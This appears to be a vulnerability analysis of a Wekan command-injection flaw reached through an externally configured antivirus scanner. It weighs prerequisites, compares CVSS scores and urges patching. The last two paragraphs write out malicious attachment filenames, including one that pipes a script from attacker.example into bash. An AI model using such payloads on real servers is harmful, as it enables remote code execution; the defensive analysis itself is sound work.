Wekan CVE-2026-68560

Exploitation requires two concurrent conditions: (1) the attacker must hold a valid Wekan account with file attachment upload privileges on at least one board (PR:L per CVSS 4.0 - any authenticated board member qualifies, not just administrators); and (2) a Wekan administrator must have configured an external scanner command line in Wekan's admin settings using the {file} placeholder - this is explicitly a non-default configuration, captured by AT:P in the CVSS 4.0 vector. Wekan instances without any external scanner configured are not reachable via this code path regardless of attacker privileges. Exploitation is additionally bounded by the OS-level permissions of the Wekan server process itself; a deployment running Wekan as a dedicated low-privilege OS account limits post-exploitation lateral movement. No user interaction from administrators or other users is required at exploit time beyond the pre-existing scanner configuration. The attack requires no special network position - any user able to reach the Wekan web interface over HTTP/HTTPS can trigger the flaw.

The CVSS 4.0 score of 7.7 reflects a meaningful and accurate downgrade from the vendor's own CHANGELOG-cited CVSS 3.1 score of 9.9 (S:C), with the AT:P (Attack Prerequisites) flag in the 4.0 vector explicitly capturing the non-default configuration requirement. The primary risk limiter is that exploitation requires an administrator to have enabled an external scanner command line in Wekan's admin settings - a non-default configuration - without which the vulnerable code path is never reached. No EPSS data was provided in the intelligence feed, and this CVE has no CISA KEV listing, indicating no confirmed active exploitation at time of analysis. However, the published commit diff in GHSA-x3xm-pxrv-jg7p is effectively a reproduction guide: it identifies the exact vulnerable file and line, describes working example payloads ($(touch /tmp/pwn).png, backtick substitution), and includes the verbatim vulnerable code - any attacker targeting a Wekan instance with an external scanner enabled could achieve RCE within minutes of reading the advisory, meaning even a mid-sized municipal IT team in mielec running Wekan with external AV scanning configured should treat this as an urgent patching priority rather than a routine cycle item. The CVSS signals are internally consistent: network attack vector, low-privilege authentication, and high CIA impact all align with the description and code diff. The sole point of nuance is that the vendor's 3.1 vector of 9.9 (AC:L) may overstate ease of exploitation by omitting the configuration prerequisite that AT:P correctly captures in 4.0.

An authenticated Wekan user - any board member with attachment upload rights - renames a file to embed a shell command substitution, for example $(curl http://attacker.example/implant.sh | bash).png, and uploads it as an attachment to any board. On servers where an administrator has configured an external antivirus scanner command line containing a {file} placeholder, Wekan's isFileValid() function interpolates the malicious filename into the shell command and executes it via /bin/sh -c, causing the injected command to run as the Wekan server OS process. The published GHSA-x3xm-pxrv-jg7p advisory includes the exact vulnerable code line and working payload examples, making this straightforward to weaponize without additional research.